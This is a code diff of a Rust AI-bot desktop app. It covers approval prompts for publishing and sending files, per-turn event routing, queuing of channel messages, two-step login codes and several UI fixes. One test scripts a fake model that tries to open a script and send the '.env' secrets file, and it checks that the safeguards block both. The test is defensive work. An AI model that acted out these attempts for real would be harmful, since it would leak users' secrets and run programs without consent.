Decision::Deny(format!("「在這台電腦上執行」設成了永不允許(或被管理員關閉),不能發布「{}」上的檔案。", t.name))
}
Ok(t) => tools::decide_file_out(&t, &path, &[]),
Err(_) => Decision::Allow,
};
if let Decision::Deny(r) = walls {
finish(&mut history, &format!("被安全規則擋下:{r}"), ToolStatus::Denied, None);
continue;
}
let outside = matches!(walls, Decision::Ask { .. });
let grant = if outside { String::new() } else { grant };
let mut allowed = !outside && grants.contains(&grant);
if !allowed {
match ask_person(ApprovalKind::Action, format!("把 {path} 發布成公開網站「{name}」(任何知道網址的人都看得到)"), grant.clone()) {
let from = if outside { "(在工作資料夾以外)" } else { "" };
match ask_person(ApprovalKind::Action, format!("把 {path}{from} 發布成公開網站「{name}」(任何知道網址的人都看得到)"), grant.clone()) {
ApprovalAnswer::Once => allowed = true,
ApprovalAnswer::Always(g) => {
keep_grant(&mut grants, g);
@ -3149,6 +3280,82 @@ echo '<meta charset=utf-8><title>done</title>送出了' > done.html; (setsid pyt
assert!(result.contains("note.txt"), "{result}");
}
/// send_file and open_for_person take a file off a computer: they ask what reading it would
/// ask, refuse what reading it would refuse, and never start a program on the person's
/// screen. (Nothing here is sent or opened: every step is one that must be stopped.)
#[test]
fn a_file_leaves_a_computer_only_past_the_questions_of_reading_it() {
let w = std::env::temp_dir().join(format!("anybot-file-out-{}", std::process::id()));
let _ = std::fs::remove_dir_all(&w);
let (work, elsewhere) = (w.join("work"), w.join("elsewhere"));
std::fs::create_dir_all(&work).unwrap();
std::fs::create_dir_all(&elsewhere).unwrap();
std::fs::write(elsewhere.join("taxes.pdf"), "x").unwrap();
std::fs::write(work.join("run.command"), "true\n").unwrap();
std::fs::write(work.join(".env"), "KEY=x").unwrap();
std::fs::write(work.join("report.txt"), "x").unwrap();
let outside = elsewhere.join("taxes.pdf").display().to_string();
let run = |local_execution: bool, replies: Vec<(&'static str, serde_json::Value)>| {
let port = fake_model(replies);
let job = Job {
req: ChatRequest { kind: ProviderKind::Custom, base_url: format!("http://127.0.0.1:{port}/v1"), api_key: String::new(), model: "m".into(), system: String::new(), history: vec![Message::user("把檔案給我")], tools: tools::specs(), session: String::new() },
computers: vec![tools::Target { name: crate::model::THIS_COMPUTER_NAME.into(), place: tools::Place::Local { workdir: work.clone() } }],
default_computer: crate::model::THIS_COMPUTER_NAME.into(),
roles: tools::Roles { own: crate::model::BOT_COMPUTER_NAME.into(), person: Some(crate::model::THIS_COMPUTER_NAME.into()), server: false },
local_execution,
via: "test".into(),
via_name: "Bot".into(),
..test_job()
};
let (tx, rx) = channel();
spawn(job, 1, tx, Arc::new(AtomicBool::new(false)), eframe::egui::Context::default());
let (mut asked, mut results, mut attached) = (vec![], vec![], 0);
loop {
match rx.recv_timeout(Duration::from_secs(10)).expect("loop stalled") {
(_, StreamEvent::NeedApproval(a)) => {
asked.push((a.kind, a.grant.clone(), a.reason.clone()));
let _ = a.reply.send(ApprovalAnswer::Reject);
}
(_, StreamEvent::ToolResult(m)) => results.push(m.text),
(_, StreamEvent::Attach(_)) => attached += 1,
(_, StreamEvent::Done) => break,
(_, StreamEvent::Error(e)) => panic!("{e}"),
_ => {}
}
}
(asked, results, attached)
};
// Using this computer is on. Outside the work folder asks (the read_file grant); a
// script isn't opened; a secret isn't sent.
let (asked, results, attached) = run(
true,
vec![
("send_file", serde_json::json!({"path": outside})),
("open_for_person", serde_json::json!({"path": outside})),
("open_for_person", serde_json::json!({"path": "run.command"})),
("send_file", serde_json::json!({"path": ".env"})),
("", serde_json::json!("好")),
],
);
assert_eq!(asked.len(), 2, "{asked:?}\n{results:?}");
for (kind, grant, reason) in &asked {
assert_eq!((kind, grant.as_str()), (&ApprovalKind::Action, "read:anywhere"));
assert!(reason.contains("taxes.pdf"), "{reason}");
}
assert_eq!(results.len(), 4, "{results:?}");
assert!(results[0].contains("使用者拒絕") && results[1].contains("使用者拒絕"), "{results:?}");
assert!(results[2].contains("程式或指令檔"), "{results:?}");
assert!(results[3].contains("被安全規則擋下"), "{results:?}");
assert_eq!(attached, 0);
// Using this computer is off: even a file in the work folder is asked for.
let (asked, results, attached) = run(false, vec![("send_file", serde_json::json!({"path": "report.txt"})), ("", serde_json::json!("好"))]);
assert_eq!(asked.len(), 1, "{asked:?}\n{results:?}");
assert!(asked[0].1.is_empty() && asked[0].2.contains("report.txt"), "{asked:?}");
assert!(results[0].contains("使用者拒絕"), "{results:?}");
assert_eq!(attached, 0);
let _ = std::fs::remove_dir_all(&w);
}
/// 需要處理: the model hands a step to the person; the card's request carries the instruction
/// and the computer, 「我完成了」 tells the bot to carry on, 「跳過」 that the step is skipped.
#[test]

View File

@ -176,12 +176,19 @@ pub struct App {
new_allow_rule: String,
new_ask_rule: String,
side_drag: Option<f32>,
tx: Sender<(u64, StreamEvent)>,
rx: Receiver<(u64, StreamEvent)>,
/// What the turns say: (bot, the turn's number, the event). The number is the turn's own
/// (`Live::turn`): a turn that was stopped can still have events on their way, and with
/// only the bot to go by they were taken for the next turn's — its text in the new answer,
/// its end ending the new turn.
tx: Sender<(u64, u64, StreamEvent)>,
rx: Receiver<(u64, u64, StreamEvent)>,
turn_seq: u64,
show_settings: bool,
settings_tab: SettingsTab,
settings_provider: ProviderKind,
edit_bot: Option<(Bot, bool)>,
/// The bot as its settings were opened (what 「儲存」 measures the person's changes against).
edit_bot_from: Option<Bot>,
confirm_delete: Option<u64>,
model_fetch: HashMap<ProviderKind, Receiver<Result<Vec<String>, String>>>,
fetch_status: HashMap<ProviderKind, String>,
@ -316,10 +323,12 @@ impl App {
side_drag: None,
tx,
rx,
turn_seq: 0,
show_settings: false,
settings_tab: SettingsTab::General,
settings_provider: ProviderKind::Xai,
edit_bot: None,
edit_bot_from: None,
confirm_delete: None,
model_fetch: HashMap::new(),
fetch_status: HashMap::new(),
@ -389,6 +398,7 @@ impl App {
steer: Arc::new(Mutex::new(vec![agent::Queued::new("2026-06 的照片先不要動")])),
direct: Arc::new(AtomicBool::new(false)),
turn_id: "demo".into(),
turn: 0,
});
// Optional view for checking the dialogs in a picture.
match std::env::var("ANYBOT_SHOT_VIEW").as_deref() {
@ -896,7 +906,9 @@ impl App {
let steer = Arc::new(Mutex::new(Vec::new()));
let turn_id = format!("turn-{bot_id}-{}", chrono::Utc::now().timestamp_millis());
let direct = Arc::new(AtomicBool::new(self.direct_on()));
self.streams.insert(bot_id, Live { cancel: cancel.clone(), started: Instant::now(), last: Instant::now(), produced: false, status: None, paused: false, steer: steer.clone(), turn_id: turn_id.clone(), direct: direct.clone() });
self.turn_seq += 1;
let turn = self.turn_seq;
self.streams.insert(bot_id, Live { cancel: cancel.clone(), started: Instant::now(), last: Instant::now(), produced: false, status: None, paused: false, steer: steer.clone(), turn_id: turn_id.clone(), direct: direct.clone(), turn });
self.stick_bottom = true;
let review = self.state.auto_review.then(|| agent::Review { allow: self.state.review_allow_rules.clone(), ask: self.state.review_ask_rules.clone() });
let job = agent::Job {
@ -931,7 +943,19 @@ impl App {
op: turn_id,
log: (!self.demo).then(|| crate::oplog::OpLog::for_bot(bot_id)),
};
agent::spawn(job, bot_id, self.tx.clone(), cancel, ctx.clone());
// The turn speaks into a channel of its own; what it says goes on to the window with
// the turn's number on it.
let (turn_tx, turn_rx) = channel::<(u64, StreamEvent)>();
let (all, repaint) = (self.tx.clone(), ctx.clone());
std::thread::spawn(move || {
for (id, ev) in turn_rx {
if all.send((id, turn, ev)).is_err() {
break;
}
repaint.request_repaint();
}
});
agent::spawn(job, bot_id, turn_tx, cancel, ctx.clone());
// (Its eyes start reading while it works; see face_pose.)
self.mark();
}
@ -1257,7 +1281,9 @@ impl App {
if self.streams.contains_key(&b.id) {
continue; // fires once the bot is idle
}
for r in b.routines.iter_mut().filter(|r| !r.paused) {
// (One that waits for an event has no clock: a time left on it by an older pause and
// resume must not run it every morning.)
for r in b.routines.iter_mut().filter(|r| !r.paused && r.trigger.is_none()) {
if r.next_run.map(|t| t <= now).unwrap_or(false) {
r.last_run = Some(now);
r.next_run = crate::routines::next_run(&r.schedule, r.created_at, now);
@ -1506,7 +1532,7 @@ impl App {
}
fn drain_events(&mut self, ctx: &egui::Context) {
while let Ok((id, ev)) = self.rx.try_recv() {
while let Ok((id, turn, ev)) = self.rx.try_recv() {
// 自己進化 arrives after the turn has ended: keep the skill, say so under the reply.
if let StreamEvent::Learned(k, reply_at) = ev {
let name = k.name.clone();
@ -1517,8 +1543,9 @@ impl App {
self.dirty = true;
continue;
}
// A stopped request may still deliver a few pieces; ignore them.
if !self.streams.contains_key(&id) {
// A stopped request may still deliver a few pieces; ignore them — also when the
// bot has a new turn running by now.
if self.streams.get(&id).map(|l| l.turn) != Some(turn) {
continue;
}
let selected = self.state.selected;
@ -2568,7 +2595,7 @@ impl App {
send_now = true;
}
self.attachments_poll(ctx, bot.id, had_focus);
self.voice_poll();
self.voice_poll(ctx);
let mut draft = self.drafts.remove(&bot.id).unwrap_or_default();
ui.add_space(4.0);
// Quote and attachments sit just above the pill.
@ -2873,7 +2900,7 @@ impl App {
"toggle" => {
if let Some(r) = b.routines.iter_mut().find(|r| r.id == id) {
r.paused = !r.paused;
r.next_run = crate::routines::next_run(&r.schedule, r.created_at, now);
r.next_run = if r.trigger.is_some() { None } else { crate::routines::next_run(&r.schedule, r.created_at, now) };
}
}
"run" => {
@ -2950,7 +2977,14 @@ impl App {
// ---------- dialogs ----------
fn bot_editor(&mut self, ctx: &egui::Context) {
let Some((mut b, is_new)) = self.edit_bot.take() else { return };
let Some((mut b, is_new)) = self.edit_bot.take() else {
self.edit_bot_from = None;
return;
};
// (Kept on the editor's first frame, before anything in it can have been changed.)
if self.edit_bot_from.as_ref().map(|f| f.id) != Some(b.id) {
self.edit_bot_from = Some(b.clone());
}
let p = self.pal;
let mut save = false;
let mut cancel = false;
@ -3176,14 +3210,23 @@ impl App {
self.state.selected = b.id;
self.state.bots.push(b);
} else if let Some(slot) = self.state.bot_mut(b.id) {
// Keep messages that arrived while the editor was open.
let msgs = std::mem::take(&mut slot.messages);
*slot = b;
slot.messages = msgs;
// Only what was changed here: what the bot got while the editor was open
// (messages, memories, 「永遠允許」, routines, conversations put aside) stays.
match self.edit_bot_from.take() {
Some(from) => slot.take_edit(from, b),
None => {
let msgs = std::mem::take(&mut slot.messages);
*slot = b;
slot.messages = msgs;
}
}
}
self.edit_bot_from = None;
self.mark();
} else if open && !cancel {
self.edit_bot = Some((b, is_new));
} else {
self.edit_bot_from = None;
}
}
@ -3730,7 +3773,8 @@ impl App {
}
/// `anybot --serve` with ANYBOT_ACCOUNT=url|user and ANYBOT_ACCOUNT_PASSWORD: join the account
/// (and, with ANYBOT_RESTORE_FROM_ACCOUNT=1, start once from the newest backup).
/// (and, with ANYBOT_RESTORE_FROM_ACCOUNT=1, start once from the newest backup). An account
/// with 兩步驗證 on also needs ANYBOT_ACCOUNT_CODE (a recovery code: it is used once).
fn serve_join(&mut self) {
let (Ok(acct), Ok(pw)) = (std::env::var("ANYBOT_ACCOUNT"), std::env::var("ANYBOT_ACCOUNT_PASSWORD")) else { return };
if !self.state.remote.host_token.is_empty() {
@ -3738,10 +3782,11 @@ impl App {
}
let Some((url, user)) = acct.rsplit_once('|') else { return };
// ANYBOT_ACCOUNT_CREATE=1 (the server's own brain, first start): make the account if it isn't there.
let mut r = crate::remote::relay_join(&self.state.remote, url, user, &pw, false, "");
let code = std::env::var("ANYBOT_ACCOUNT_CODE").unwrap_or_default();
let mut r = crate::remote::relay_join(&self.state.remote, url, user, &pw, false, "", &code);
if r.is_err() && std::env::var("ANYBOT_ACCOUNT_CREATE").map(|v| v == "1").unwrap_or(false) {
let invite = std::env::var("ANYBOT_RELAY_INVITE").unwrap_or_default();
if let Ok(s) = crate::remote::relay_join(&self.state.remote, url, user, &pw, true, &invite) {
if let Ok(s) = crate::remote::relay_join(&self.state.remote, url, user, &pw, true, &invite, &code) {
eprintln!("AnyBot:已建立帳號 {user}");
r = Ok(s);
}
@ -3759,7 +3804,7 @@ impl App {
}
let marker = State::path().with_file_name("restored-from-account");
if std::env::var("ANYBOT_RESTORE_FROM_ACCOUNT").map(|v| v == "1").unwrap_or(false) && !marker.exists() {
match crate::remote::restore(url, user, &pw).and_then(|b| serde_json::from_slice::<State>(&b).map_err(|e| e.to_string())) {
match crate::remote::restore(url, user, &pw, &code).and_then(|b| serde_json::from_slice::<State>(&b).map_err(|e| e.to_string())) {
Ok(mut st) => {
st.remote = self.state.remote.clone();
eprintln!("AnyBot:已從帳號備份接手 {} 個 Bot", st.bots.len());
@ -4109,6 +4154,8 @@ struct Live {
turn_id: String,
/// 直接操作 for this turn (switched on mid-turn by "全部允許").
direct: Arc<AtomicBool>,
/// This turn's number: its events carry it.
turn: u64,
}
/// How an "always allow" grant reads in the UI.

View File

@ -61,10 +61,22 @@ impl App {
self.add_attachment_paths(id, paths);
}
}
// ⌘V with no text on the clipboard: maybe a picture.
// ⌘V with no text on the clipboard: maybe a picture. The window answers the paste keys
// itself and hands over the picture (no V key arrives for ⌘V); a V key with ⌘ that does
// arrive (⌘⇧V) looks at the clipboard as before.
let pasted_text = ctx.input(|i| i.events.iter().any(|e| matches!(e, egui::Event::Paste(t) if !t.is_empty())));
let pasted_image = ctx.input(|i| i.events.iter().find_map(|e| if let egui::Event::PasteImage(img) = e { Some(img.clone()) } else { None }));
let cmd_v = ctx.input(|i| i.events.iter().any(|e| matches!(e, egui::Event::Key { key: Key::V, pressed: true, modifiers, .. } if modifiers.command)));
if composer_focused && cmd_v && !pasted_text && !self.demo {
if !composer_focused || self.demo {
return;
}
if let Some(img) = pasted_image {
let rgba: Vec<u8> = img.pixels.iter().flat_map(|c| c.to_srgba_unmultiplied()).collect();
match attach::store_pasted(bot_id, img.size, rgba) {
Ok(a) => self.att.pending.entry(bot_id).or_default().push(a),
Err(e) => self.att.error = Some(e),
}
} else if cmd_v && !pasted_text {
if let Some(a) = attach::paste_image(bot_id) {
self.att.pending.entry(bot_id).or_default().push(a);
}
@ -209,23 +221,7 @@ impl App {
/// The mic button: start, or stop and turn the recording into text.
pub(super) fn voice_toggle(&mut self, ctx: &egui::Context, bot_id: u64) {
if let Some((id, rec)) = self.att.voice.take() {
let lang = self.state.bot(id).map(|b| b.voice_lang.clone()).unwrap_or_default();
let ps = self.state.provider(ProviderKind::OpenAi);
let base = providers::resolve_base(ProviderKind::OpenAi, &ps.base_url);
let key = providers::resolve_key(ProviderKind::OpenAi, &ps.api_key);
let (tx, rx) = channel();
self.att.voice_rx = Some(rx);
let c = ctx.clone();
std::thread::spawn(move || {
let r = rec.finish().and_then(|f| {
let t = crate::voice::transcribe_lang(&base, &key, &f, &lang);
let _ = std::fs::remove_file(&f);
t
});
let _ = tx.send((id, r));
c.request_repaint();
});
if self.voice_stop(ctx) {
return;
}
crate::voice::stop_speaking();
@ -235,6 +231,28 @@ impl App {
}
}
/// Stop the recording that is running and turn it into text (false: none was running).
fn voice_stop(&mut self, ctx: &egui::Context) -> bool {
let Some((id, rec)) = self.att.voice.take() else { return false };
let lang = self.state.bot(id).map(|b| b.voice_lang.clone()).unwrap_or_default();
let ps = self.state.provider(ProviderKind::OpenAi);
let base = providers::resolve_base(ProviderKind::OpenAi, &ps.base_url);
let key = providers::resolve_key(ProviderKind::OpenAi, &ps.api_key);
let (tx, rx) = channel();
self.att.voice_rx = Some(rx);
let c = ctx.clone();
std::thread::spawn(move || {
let r = rec.finish().and_then(|f| {
let t = crate::voice::transcribe_lang(&base, &key, &f, &lang);
let _ = std::fs::remove_file(&f);
t
});
let _ = tx.send((id, r));
c.request_repaint();
});
true
}
/// 會議記錄: a long recording that becomes a transcript for the bot to summarize.
pub(super) fn start_meeting(&mut self, ctx: &egui::Context, bot_id: u64) {
if self.att.voice.is_some() {
@ -252,15 +270,13 @@ impl App {
}
/// Put the text where the person was typing.
pub(super) fn voice_poll(&mut self) {
pub(super) fn voice_poll(&mut self, ctx: &egui::Context) {
let max = if self.att.meeting { crate::voice::MEETING_MAX_SECS } else { crate::voice::MAX_SECS };
if let Some((started, max)) = self.att.voice.as_ref().map(|(_, r)| (r.started, max)) {
if started.elapsed().as_secs() >= max {
if let Some((_, r)) = self.att.voice.take() {
r.cancel();
}
self.att.error = Some("錄音最長 10 分鐘,已經停止。".into());
}
if self.att.voice.as_ref().is_some_and(|(_, r)| r.started.elapsed().as_secs() >= max) {
// What was recorded up to the limit is kept and turned into text like any
// recording (it was thrown away: two hours of a meeting, gone at the last second).
self.voice_stop(ctx);
self.att.error = Some(format!("錄音最長 {},已經停止;錄到的部分正在轉成文字。", crate::voice::length_words(max)));
}
let Some(rx) = &self.att.voice_rx else { return };
if let Ok((id, r)) = rx.try_recv() {

View File

@ -3,12 +3,15 @@
use super::*;
use crate::channels::{self, Channel, Incoming, Kind, ReplyTo};
use std::collections::VecDeque;
pub struct ChannelUi {
pub tx: Sender<Incoming>,
pub rx: Receiver<Incoming>,
/// Where each bot's current answer goes back to.
pub replies: HashMap<u64, Vec<ReplyTo>>,
/// Messages that came while their bot was busy: each waits for a turn of its own.
waiting: VecDeque<Incoming>,
new_kind: Kind,
new_name: String,
new_token: String,
@ -36,10 +39,25 @@ impl Default for ChannelUi {
fn default() -> Self {
let (tx, rx) = channel();
let (trig_tx, trig_rx) = channel();
ChannelUi { tx, rx, replies: HashMap::new(), new_kind: Kind::Telegram, new_name: String::new(), new_token: String::new(), new_target: String::new(), new_bot: 0, note: Default::default(), started: false, trig_tx, trig_rx, trig_sig: String::new(), new_client: String::new(), new_tenant: String::new(), ms_login: Default::default(), mcp_sig: String::new(), mcp_errors: Default::default(), mcp_busy: Default::default(), new_mcp: Default::default(), focus_market: false }
ChannelUi { tx, rx, replies: HashMap::new(), waiting: VecDeque::new(), new_kind: Kind::Telegram, new_name: String::new(), new_token: String::new(), new_target: String::new(), new_bot: 0, note: Default::default(), started: false, trig_tx, trig_rx, trig_sig: String::new(), new_client: String::new(), new_tenant: String::new(), ms_login: Default::default(), mcp_sig: String::new(), mcp_errors: Default::default(), mcp_busy: Default::default(), new_mcp: Default::default(), focus_market: false }
}
}
/// The waiting messages whose turn can start now: the oldest one of each bot that is free, in
/// the order they came. The rest stay, in order.
fn ready_messages(waiting: &mut VecDeque<Incoming>, busy: impl Fn(u64) -> bool) -> Vec<Incoming> {
let (mut ready, mut later): (Vec<Incoming>, VecDeque<Incoming>) = (vec![], VecDeque::new());
while let Some(m) = waiting.pop_front() {
if busy(m.bot_id) || ready.iter().chain(later.iter()).any(|w| w.bot_id == m.bot_id) {
later.push_back(m);
} else {
ready.push(m);
}
}
*waiting = later;
ready
}
impl App {
pub(super) fn channels_restart(&mut self, ctx: &egui::Context) {
if self.demo {
@ -94,14 +112,35 @@ impl App {
}
}
while let Ok(m) = self.ch.rx.try_recv() {
if self.state.bot(m.bot_id).is_none() {
continue;
}
self.ch.waiting.push_back(m);
}
self.ch.waiting.retain(|m| self.state.bot(m.bot_id).is_some());
// A message from a channel gets a turn of its own, when its bot is free. It used to be
// dropped into whatever turn was running, and that turn's answer (to the person's own
// question at the desk, say) was what went out to the channel.
let mut waiting = std::mem::take(&mut self.ch.waiting);
let ready = ready_messages(&mut waiting, |id| {
self.streams.contains_key(&id)
|| self.ch.replies.contains_key(&id)
|| self.group_next.contains(&id)
|| self.pending_turns.iter().any(|(b, _)| *b == id)
|| self.group_queue.get(&id).is_some_and(|q| !q.is_empty())
});
self.ch.waiting = waiting;
for m in ready {
let text = format!("[訊息管道]{}「{}」的 {}:{}", m.reply.kind.label(), m.reply.channel_name, m.from, m.text);
self.ch.replies.entry(m.bot_id).or_default().push(m.reply.clone());
self.wake(ctx, m.bot_id, Message { wake: true, ..Message::user(&text) });
// No turn started (a group with nobody in it): nothing will answer, so no later
// turn's answer may go there either. (A screen's turns run on its brain.)
if !self.streams.contains_key(&m.bot_id) && !self.mir.on {
self.ch.replies.remove(&m.bot_id);
}
self.dirty = true;
}
if !self.ch.waiting.is_empty() {
ctx.request_repaint_after(std::time::Duration::from_millis(500));
}
}
/// The turn ended: send its answer back where the message came from.
@ -443,3 +482,24 @@ impl App {
}
}
}
#[cfg(test)]
mod tests {
use super::*;
/// A message from a channel never joins a turn that is running: it waits for its own.
#[test]
fn a_channel_message_waits_for_a_turn_of_its_own() {
let msg = |bot_id: u64, text: &str| Incoming { bot_id, from: "ann".into(), text: text.into(), reply: ReplyTo { kind: Kind::Telegram, token: String::new(), target: "1".into(), thread: String::new(), channel_name: "c".into() } };
let texts = |v: &[Incoming]| v.iter().map(|m| m.text.clone()).collect::<Vec<_>>();
let mut waiting: VecDeque<Incoming> = [msg(1, "a"), msg(2, "b"), msg(1, "c"), msg(3, "d")].into();
// Bot 2 is in the middle of the person's own question: its message stays.
let ready = ready_messages(&mut waiting, |id| id == 2);
assert_eq!(texts(&ready), ["a", "d"]);
assert_eq!(texts(&waiting.iter().cloned().collect::<Vec<_>>()), ["b", "c"]);
// Later, everyone is free: one message each, the oldest first.
let ready = ready_messages(&mut waiting, |_| false);
assert_eq!(texts(&ready), ["b", "c"]);
assert!(waiting.is_empty());
}
}

View File

@ -48,6 +48,9 @@ pub struct ComputerUi {
teach_for: Option<u64>,
teach_error: String,
schedule_edit: String,
/// The time is being typed: the field shows what was typed, not what is saved (it showed
/// the saved time again every frame, so with 自動更新 on the time could not be changed).
schedule_typing: bool,
pub update_ready: bool,
update_checked: Option<Instant>,
update_flag: Arc<AtomicBool>,
@ -378,7 +381,8 @@ impl App {
let update_ready = self.cu.update_ready;
let working: Vec<String> = self.streams.keys().filter_map(|id| self.state.bot(*id).map(|b| b.name.clone())).collect();
let mut on = cloudbox::auto_update_at().is_some();
let mut at = cloudbox::auto_update_at().unwrap_or_else(|| self.cu.schedule_edit.clone());
let mut at = if self.cu.schedule_typing { self.cu.schedule_edit.clone() } else { cloudbox::auto_update_at().unwrap_or_else(|| self.cu.schedule_edit.clone()) };
let mut typed = false;
if at.is_empty() {
at = "03:00".into();
}
@ -483,6 +487,7 @@ impl App {
sec_row_s(ui, p, "自動更新", &desc, "有新映像檔可用時,電腦會在你選的時間自動更新;錯過的話一小時內還會補做。開始後不能取消;有 Bot 在用電腦時會等它做完。", |ui| {
let changed = ui.add(toggle(&mut on)).changed();
let r = ui.add(egui::TextEdit::singleline(&mut at).desired_width(56.0).char_limit(5).font(egui::TextStyle::Monospace));
typed |= r.changed();
if changed || r.lost_focus() {
schedule_changed = true;
}
@ -519,8 +524,13 @@ impl App {
sec_note(ui, p, &note);
}
});
if schedule_changed && chrono::NaiveTime::parse_from_str(at.trim(), "%H:%M").is_ok() {
cloudbox::set_auto_update_at(on.then(|| at.trim().to_string()));
self.cu.schedule_typing |= typed;
if schedule_changed {
// Done typing: a real time is saved; anything else gives way to the saved one.
if chrono::NaiveTime::parse_from_str(at.trim(), "%H:%M").is_ok() {
cloudbox::set_auto_update_at(on.then(|| at.trim().to_string()));
}
self.cu.schedule_typing = false;
}
self.cu.schedule_edit = at;
match act {

View File

@ -136,7 +136,23 @@ fn start_job(kind: &str, path: &str) -> Option<Arc<Mutex<PageJob>>> {
Some(job)
}
fn texture(ctx: &egui::Context, name: &str, img: &image::RgbaImage) -> egui::TextureHandle {
/// The size a picture is shown at when a side is longer than `max` (None: it fits as it is).
fn fitted(w: u32, h: u32, max: u32) -> Option<(u32, u32)> {
let long = w.max(h);
if long <= max || max == 0 {
return None;
}
let side = |v: u32| ((v as u64 * max as u64 / long as u64) as u32).clamp(1, max);
Some((side(w), side(h)))
}
/// A picture for the window to draw. One with a side longer than the graphics card takes (a
/// panorama, a whole-page screenshot: past 8192 or 16384 pixels, by the card) is made smaller
/// first — handed over whole, the window closed with a crash.
pub(super) fn texture(ctx: &egui::Context, name: &str, img: &image::RgbaImage) -> egui::TextureHandle {
let max = ctx.input(|i| i.max_texture_side) as u32;
let small = fitted(img.width(), img.height(), max).map(|(w, h)| image::imageops::resize(img, w, h, image::imageops::FilterType::Triangle));
let img = small.as_ref().unwrap_or(img);
let size = [img.width() as usize, img.height() as usize];
ctx.load_texture(name, egui::ColorImage::from_rgba_unmultiplied(size, img.as_raw()), egui::TextureOptions::LINEAR)
}
@ -790,3 +806,19 @@ fn big_file_icon(painter: &egui::Painter, r: egui::Rect, name: &str, p: Palette)
painter.rect_filled(tile, 10, col.gamma_multiply(0.16));
crate::icons::paint(painter, egui::Rect::from_center_size(tile.center(), vec2(22.0, 22.0)), crate::icons::for_file(name), col);
}
#[cfg(test)]
mod tests {
use super::*;
/// A picture longer than the graphics card takes is shown smaller, in its own shape.
#[test]
fn a_picture_too_long_for_the_card_is_made_to_fit() {
assert_eq!(fitted(4000, 3000, 8192), None);
assert_eq!(fitted(8192, 8192, 8192), None);
assert_eq!(fitted(16384, 4096, 8192), Some((8192, 2048)));
assert_eq!(fitted(1290, 30000, 8192), Some((352, 8192)));
assert_eq!(fitted(100_000, 1, 2048), Some((2048, 1)), "never a side of nothing");
assert_eq!(fitted(100, 100, 0), None, "no limit known yet");
}
}

View File

@ -804,7 +804,7 @@ impl App {
let d = match done {
Ok(img) => {
let size = vec2(img.width() as f32 / 2.0, img.height() as f32 / 2.0);
let tex = ui.ctx().load_texture(format!("mermaid-{key}"), egui::ColorImage::from_rgba_unmultiplied([img.width() as usize, img.height() as usize], img.as_raw()), egui::TextureOptions::LINEAR);
let tex = super::files_ui::texture(ui.ctx(), &format!("mermaid-{key}"), &img);
Diagram::Ready(tex, size)
}
Err(e) => Diagram::Failed(e),

View File

@ -1016,6 +1016,7 @@ impl App {
steer: Arc::default(),
turn_id: String::new(),
direct: Arc::default(),
turn: 0,
});
l.status = status;
l.paused = paused;

View File

@ -23,6 +23,9 @@ pub struct RemoteUi {
pass: String,
invite: String,
create: bool,
/// 兩步驗證: the code that goes with the password, asked once the account said it has it on.
code: String,
need_code: bool,
pub(super) note: Arc<Mutex<String>>,
join_rx: Option<Receiver<Result<(Settings, remote::AccountFind), String>>>,
restore_rx: Option<Receiver<Result<Vec<u8>, String>>>,
@ -106,10 +109,17 @@ impl App {
Ok((s, found)) => {
self.state.remote = s;
self.rm.pass.clear();
self.rm.code.clear();
self.rm.need_code = false;
self.account_sync(found);
self.mark();
}
Err(e) => *self.rm.note.lock().unwrap() = e,
Err(e) => {
self.rm.need_code |= e.starts_with(remote::NEED_CODE);
// (A code is good for one try.)
self.rm.code.clear();
*self.rm.note.lock().unwrap() = e;
}
}
}
}
@ -125,7 +135,11 @@ impl App {
self.state.save();
*self.rm.note.lock().unwrap() = format!("已從備份還原 {n} 個 Bot");
}
Err(e) => *self.rm.note.lock().unwrap() = e,
Err(e) => {
self.rm.need_code |= e.starts_with(remote::NEED_CODE);
self.rm.code.clear();
*self.rm.note.lock().unwrap() = e;
}
}
}
}
@ -600,6 +614,11 @@ impl App {
form_row(ui, "密碼", p, |ui| {
ui.add(egui::TextEdit::singleline(&mut self.rm.pass).password(true).desired_width(f32::INFINITY));
});
if self.rm.need_code {
form_row(ui, "驗證碼", p, |ui| {
ui.add(egui::TextEdit::singleline(&mut self.rm.code).hint_text(t("驗證器 App 的六位碼,或一組恢復碼")).desired_width(f32::INFINITY));
});
}
ui.checkbox(&mut self.rm.create, t("建立新帳號"));
if self.rm.create {
form_row(ui, "邀請碼", p, |ui| {
@ -611,11 +630,11 @@ impl App {
if ui.add_enabled(ready && !busy, primary_button(if busy { "連線中…" } else if self.rm.create { "建立並登入" } else { "登入" }, p)).clicked() {
let (tx, rx) = channel();
self.rm.join_rx = Some(rx);
let (url, user, pass, create, invite, base) = (self.rm.relay_url.clone(), self.rm.user.trim().to_string(), self.rm.pass.clone(), self.rm.create, self.rm.invite.clone(), self.state.remote.clone());
let (url, user, pass, create, invite, base, code) = (self.rm.relay_url.clone(), self.rm.user.trim().to_string(), self.rm.pass.clone(), self.rm.create, self.rm.invite.clone(), self.state.remote.clone(), self.rm.code.clone());
std::thread::spawn(move || {
// Signed in: look right away for the bots the account already has.
let r = remote::relay_join(&base, &url, &user, &pass, create, &invite).map(|s| {
let found = remote::find_account_bots(&s, &pass);
let r = remote::relay_join(&base, &url, &user, &pass, create, &invite, &code).map(|s| {
let found = remote::find_account_bots(&s, &pass, &code);
(s, found)
});
let _ = tx.send(r);
@ -624,9 +643,9 @@ impl App {
if ui.add_enabled(ready && self.rm.restore_rx.is_none(), secondary_button("從帳號備份還原")).on_hover_text(t("把這台電腦的 Bot 換成帳號裡最新的備份")).clicked() {
let (tx, rx) = channel();
self.rm.restore_rx = Some(rx);
let (url, user, pass) = (self.rm.relay_url.clone(), self.rm.user.trim().to_string(), self.rm.pass.clone());
let (url, user, pass, code) = (self.rm.relay_url.clone(), self.rm.user.trim().to_string(), self.rm.pass.clone(), self.rm.code.clone());
std::thread::spawn(move || {
let _ = tx.send(remote::restore(&url, &user, &pass));
let _ = tx.send(remote::restore(&url, &user, &pass, &code));
});
}
});
@ -981,8 +1000,9 @@ impl App {
}
// The actions a bot can take on the app (the same appctl path as its tools).
"app" => {
const ALLOWED: [&str; 15] = [
"create_bot", "update_bot", "remember", "forget", "save_skill", "delete_skill", "create_routine", "update_routine",
// (skillify and skill_install are the phone's 「教我做」 and 「從網址安裝技能」.)
const ALLOWED: [&str; 17] = [
"create_bot", "update_bot", "remember", "forget", "save_skill", "delete_skill", "skillify", "skill_install", "create_routine", "update_routine",
"delete_routine", "run_routine_now", "create_group", "move_to_group", "rename_group", "delete_group", "update_settings",
];
let name = s("name");

View File

@ -73,7 +73,7 @@ pub fn specs() -> Vec<Value> {
vec![
json!({"name": "list_routines", "description": "List this bot's routines (scheduled, repeating tasks).", "parameters": {"type": "object", "properties": {}}}),
